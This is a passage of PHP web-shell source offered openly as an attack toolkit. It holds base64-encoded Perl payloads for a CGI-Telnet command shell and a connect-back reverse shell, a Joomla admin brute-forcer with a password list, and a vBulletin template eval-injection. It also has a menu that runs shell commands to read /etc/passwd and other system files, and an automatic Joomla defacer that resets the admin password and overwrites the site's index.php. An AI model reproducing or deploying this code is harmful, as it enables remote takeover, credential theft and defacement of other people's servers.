dpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
chmod("izo.cin",0755);
$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==';
$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
chmod("dc.pl",0755);
echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jbrute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jbrute" method="post">
<meta name="author" content="RetnOHacK" />
<meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
<meta name="description" content="RetnOHacK #Procoder'z Team Albanian" />
<center>
</br></br>
<center><b><font color="lime">+--=[ Joomla Bruter Force ]=--+</font></b><br /><br />
<form method="post" action="" enctype="multipart/form-data">
<table class="tabnet" width="38%" border="0"><center>
<th colspan="2">Joomla Brute Force</th>
<tr><td><p ><font class="d1">User :</font></th>
<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
</td></tr>
<tr><td><font class="">Sites list :</font>
</td><td><font class="" >Pass list :</font></td></tr>
<tr>
<td>
<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
</td><td>
<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^
</textarea>
</td></tr><center><tr><td>
<font >
<input class="inputzbut" type="submit" name="x" value="start" id="d4">
</font></td></tr><br>
tanks for procoder'z team albanian<br></center></table>
</form></center>
<?
@set_time_limit(0);
if($_POST['x']){
echo "<hr>";
$sites = explode("
",$_POST["sites"]); // Get Sites
$w0rds = explode("
",$_POST["w0rds"]); // Get w0rdLiSt
$Attack = new Joomla_brute_Force(); // Active Class
foreach($w0rds as $pwd){
foreach($sites as $site){
$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd)); // Brute :D
flush();flush();
}
}
}
# Class & Function'z
function txt_cln($value){ return str_replace(array("
","
"),"",$value); }
class Joomla_brute_Force{
public function check_it($site,$user,$pass){ // print result
if(eregi('com_config',$this->post($site,$user,$pass))){
echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); fclose($f);
flush();
}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();}
}
public function post($site,$user,$pass){ // Post -> user & pass
$token = $this->extract_token($site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
public function extract_token($site){ // get token from source for -> function post
$source = $this->get_source($site);
preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
return $token[1][0];
}
public function get_source($site){ // get source for -> function extract_token
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
}
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'vb'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
<br><br><br><div align="center">
<H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
<b><font color="#00FF00">+--=[ VB Index Changer ]=--+</font></b>
</div><br>
<?
if(empty($_POST['index'])){
echo "<center><FORM method=\"POST\">";
echo "<table class=\"tabnet\">
<th colspan=\"2\">Vb Index Changer</th>
<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
</tr>
<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
</FORM></table></center>";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$index = $_POST['index'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$index=str_replace("\'","'",$index);
$set_index = "{\${eval(base64_decode(\'";
$set_index .= base64_encode("echo \"$index\";");
$set_index .= "\'))}}{\${exit()}}</textarea>";
echo("UPDATE template SET template ='".$set_index."' ") ;
$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
if($ok){
echo "!! update finish !!<br><br>";
}
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypasscbe'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>-=[ Command Bypass Exploit ]=-</font></b><br>
";
print_r('
<pre>
<form method="POST" action="">
<b><font color=#00ff00><b><font color="#00ff00">Command :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass :=) </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="Gö">
</form>
</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]);
$liz0zim=shell_exec($_POST[liz0]);
$uid=shell_exec('id');
$server=shell_exec('uname -a');
echo "<pre><h4>";
echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
"</div>"; }
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jodexer'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jodexer" method="post">
<?php
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
if ($_POST['form_action'])
{
$text=file_get_contents($_POST['file']);
$username=entre2v2($text,"public $user = '","';");
$password=entre2v2($text,"public $password = ', '","';");
$dbname=entre2v2($text,"public $db = ', '","';");
$dbprefix=entre2v2($text,"public $dbprefix = '","';");
$site_url=($_POST['site_url']);
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$co=randomt();
/*
echo($username);
echo("<br>");
echo($password);
echo("<br>");
echo($dbname);
echo("<br>");
echo($dbprefix);
echo("<br>");
*/
$co=randomt();
if ($_POST['form_action'])
{
$h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['code']))))."'))); exit; ?>";
$link=mysql_connect("dzoed.druknet.bt",$username,$password) ;
mysql_select_db($dbname,$link) ;
$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
echo("<br>[+] Changing admin password to 123456789");
$req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
if ( $req )
{
#################################################################
###################### V1.6 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
$data = mysql_fetch_array($req);
$template_id=$data["extension_id"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
///////////////////////////
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[~] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
if($hidden2) {
echo("<br>[+] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.6 END ######################
#################################################################
}
else
{
#################################################################
###################### V1.5 ######################
#################################################################
$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false) {
echo("<br>[-] Login Error");
exit;
}
else {
echo("<br>[+] Login Successful");
}
///////////////////////////
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
if($hidden2) {
echo("<br>[~] index.php file founded in Theme Editor");
}
else {
echo("<br>[-] index.php Not found in Theme Editor");
}
echo("<br>[*] Updating Index.php .....");
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,'<dd class="message message fade">');
if($pos === false) {
echo("<br>[-] Updating Index.php Error");
exit;
}
else {
echo("<br>[~] index.php successfully saved");
}
#################################################################
###################### V1.5 END ######################
#################################################################
}
}
function randomt() {
$chars = "abcdefghijkmnopqrstuvwxyz023456789";
srand((double)microtime()*1000000);
$i = 0;
$pass = '' ;
while ($i <= 7) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
{
$ar0=explode($marqueurDebutLien, $text);
$ar1=explode($marqueurFinLien, $ar0[$i]);
$ar=trim($ar1[0]);
return $ar;
}
}?>
<center><br><br>
<font color="#00ff00" size='+3'><b>+--=[ Automatic Joomla Index Changer ]=--+</b></font><br><br>
</center>
<center><b>
Link of symlink configuration.php of Joomla<br></b>
<FORM action="" method="post">
<input type="hidden" name="form_action" value="1">
<input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">
<br>
<br><b>
Admin Control panel url</b><br>
<input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>
<br><b>
Your Index Code</b>
<br>
<TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code
</TEXTAREA>
<br>
<INPUT class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">
</FORM>
</center>
<script language=JavaScript>m='%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>
<?php
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi2012')) {
echo "<center/><br/><b>
+--==[ CGI-Telnet Version 1.3 ]==--+
</b><br><br>";
mkdir('cgi2012', 0755);
chdir('cgi2012');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "AddHandler cgi-script .izo";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgi2012 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgP